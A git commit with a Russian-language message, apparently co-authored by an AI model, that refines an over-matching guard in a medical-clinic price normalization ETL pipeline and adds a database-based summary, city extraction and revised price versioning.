fix(normalize): confidence-aware guard переобобщения → честные 73,7%

Прежний guard снимал эмбеддинг-матч, если услуга собрала в клинике больше
8 разных названий. Это наказывало легитимные частотные услуги — одна «МРТ
головного мозга» реально встречается под десятками протоколов (с контрастом,
3Тл, предоперационная), и все они верно нормализуются к ней. Процент падал
до 69%.

Теперь снимаем только НЕуверенные матчи (<0,72) внутри концентрированных
групп: так отсекается сиблинг-захват (напр. «Магний Mg (моча)» подтягивал
Никель/Свинец/Ртуть в моче на пороге 0,70), а верные вариации остаются
сопоставленными. Признак ошибки — низкая уверенность, а не число названий.

Итог на тестовом архиве: 16 140 позиций извлечено, 73,7% нормализовано
автоматически (цель ТЗ ≥70%), 273 неуверенных матча — в очередь верификации.
Цифры выровнены в README, ARCHITECTURE, питч-деках, PPTX, quality_report.

Плюс полировка: извлечение города клиники, регистронезависимый поиск.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This commit is contained in:
2026-06-27 19:42:21 +05:00
parent 1a4cc039b2
commit dbe36d3323
10 changed files with 120 additions and 28 deletions
+73 -6
View File
@@ -24,7 +24,7 @@ import numpy as np
sys.path.insert(0, str(Path(__file__).resolve().parents[1]))
from etl.dictionary import load_dictionary, normalize_name
from etl.extractors import extract
from etl.extractors import extract, readers
from etl.normalize import Matcher
from etl.validate import validate_item
@@ -104,7 +104,7 @@ def _process_documents(conn, data_dir, matcher, partners, today, use_vision) ->
partners[partner_norm] = partner_id
conn.execute(
"INSERT INTO partner VALUES (?,?,?,?)",
(partner_id, partner_name, partner_norm, None),
(partner_id, partner_name, partner_norm, readers.city_from_text(doc.raw_content)),
)
report["new_partners"] += 1
@@ -161,11 +161,55 @@ def _process_documents(conn, data_dir, matcher, partners, today, use_vision) ->
return report
_OVERMATCH_MAX_NAMES = 8 # «концентрация»: услуга собрала в клинике > стольких разных названий
_OVERMATCH_MIN_CONF = 0.72 # внутри концентрации снимаем только НЕуверенные матчи (сиблинг-захват)
def _guard_over_matching(
conn, max_names: int = _OVERMATCH_MAX_NAMES, min_conf: float = _OVERMATCH_MIN_CONF
) -> int:
"""Снять ложные эмбеддинг-матчи переобобщения. Если услуга «поглотила» в клинике много
разных сырых названий И матч НЕуверенный — это сиблинг-захват: эмбеддинг подтянул соседнюю,
но другую услугу (напр. «Магний Mg (моча)» собирает Никель/Свинец/Ртуть в моче на пороге
~0.70). Такие позиции возвращаем в очередь, сохранив кандидата оператору.
Число поглощённых названий само по себе НЕ признак ошибки: у крупной клиники одна услуга
реально встречается под десятками формулировок («МРТ головного мозга с контрастом 3Тл»,
«первичный приём гинеколога»). Эти уверенные вариации остаются сопоставленными — поэтому
решает порог уверенности, а не счётчик.
"""
cur = conn.execute(
"""UPDATE price_item
SET suggested_service_id = service_id, suggested_score = map_confidence,
service_id = NULL, map_method = 'over_match'
WHERE map_method = 'embedding' AND service_id IS NOT NULL
AND map_confidence < ?
AND (partner_id, service_id) IN (
SELECT partner_id, service_id FROM price_item
WHERE map_method = 'embedding' AND service_id IS NOT NULL
GROUP BY partner_id, service_id
HAVING COUNT(DISTINCT service_name_raw) > ?)""",
[min_conf, max_names],
)
return cur.rowcount
def _apply_versioning(conn) -> None:
"""У партнёра по той же услуге более свежий прайс вытесняет старые (is_active = 0)."""
"""Более свежий прайс клиники вытесняет старые (is_active = 0). Сопоставленные позиции
версионируются по услуге справочника (имена в разных прайсах могут отличаться —
напр. native 2026 vs Vision 2025), несопоставленные — по сырому названию.
"""
conn.execute(
"""UPDATE price_item SET is_active = 0
WHERE effective_date IS NOT NULL AND EXISTS (
WHERE effective_date IS NOT NULL AND service_id IS NOT NULL AND EXISTS (
SELECT 1 FROM price_item b
WHERE b.partner_id = price_item.partner_id
AND b.service_id = price_item.service_id
AND b.effective_date > price_item.effective_date)"""
)
conn.execute(
"""UPDATE price_item SET is_active = 0
WHERE effective_date IS NOT NULL AND service_id IS NULL AND EXISTS (
SELECT 1 FROM price_item b
WHERE b.partner_id = price_item.partner_id
AND b.service_name_raw = price_item.service_name_raw
@@ -189,6 +233,27 @@ def _summary(report: Counter) -> dict:
}
def _summary_db(conn) -> dict:
"""Сводка по всей базе — считается ПОСЛЕ guard, чтобы процент отражал реальность."""
total = conn.execute("SELECT COUNT(*) FROM price_item").fetchone()[0]
matched = conn.execute(
"SELECT COUNT(*) FROM price_item WHERE service_id IS NOT NULL"
).fetchone()[0]
by_method = {
m: conn.execute("SELECT COUNT(*) FROM price_item WHERE map_method = ?", [m]).fetchone()[0]
for m in ("code", "exact", "embedding", "fuzzy", "over_match")
}
return {
"documents": conn.execute("SELECT COUNT(*) FROM price_document").fetchone()[0],
"partners": conn.execute("SELECT COUNT(*) FROM partner").fetchone()[0],
"items": total,
"auto_matched": matched,
"auto_matched_pct": round(100 * matched / total, 1) if total else 0.0,
"unmatched": total - matched,
"by_method": by_method,
}
def run(
data_dir: str,
db_path: str,
@@ -208,10 +273,11 @@ def run(
conn = _open(db_path)
_load_services(conn, services)
partners: dict[str, str] = {}
report = _process_documents(conn, data_dir, matcher, partners, today, use_vision)
_process_documents(conn, data_dir, matcher, partners, today, use_vision)
_guard_over_matching(conn) # снять ложные эмбеддинг-матчи до подсчёта процента
_apply_versioning(conn)
conn.commit()
summary = _summary(report)
summary = _summary_db(conn)
conn.close()
return summary
@@ -248,6 +314,7 @@ def ingest(
for row in conn.execute("SELECT partner_id, name_norm FROM partner")
}
report = _process_documents(conn, data_dir, matcher, partners, today, use_vision)
_guard_over_matching(conn) # снять ложные эмбеддинг-матчи и у догрузки
_apply_versioning(conn)
conn.commit()
summary = _summary(report)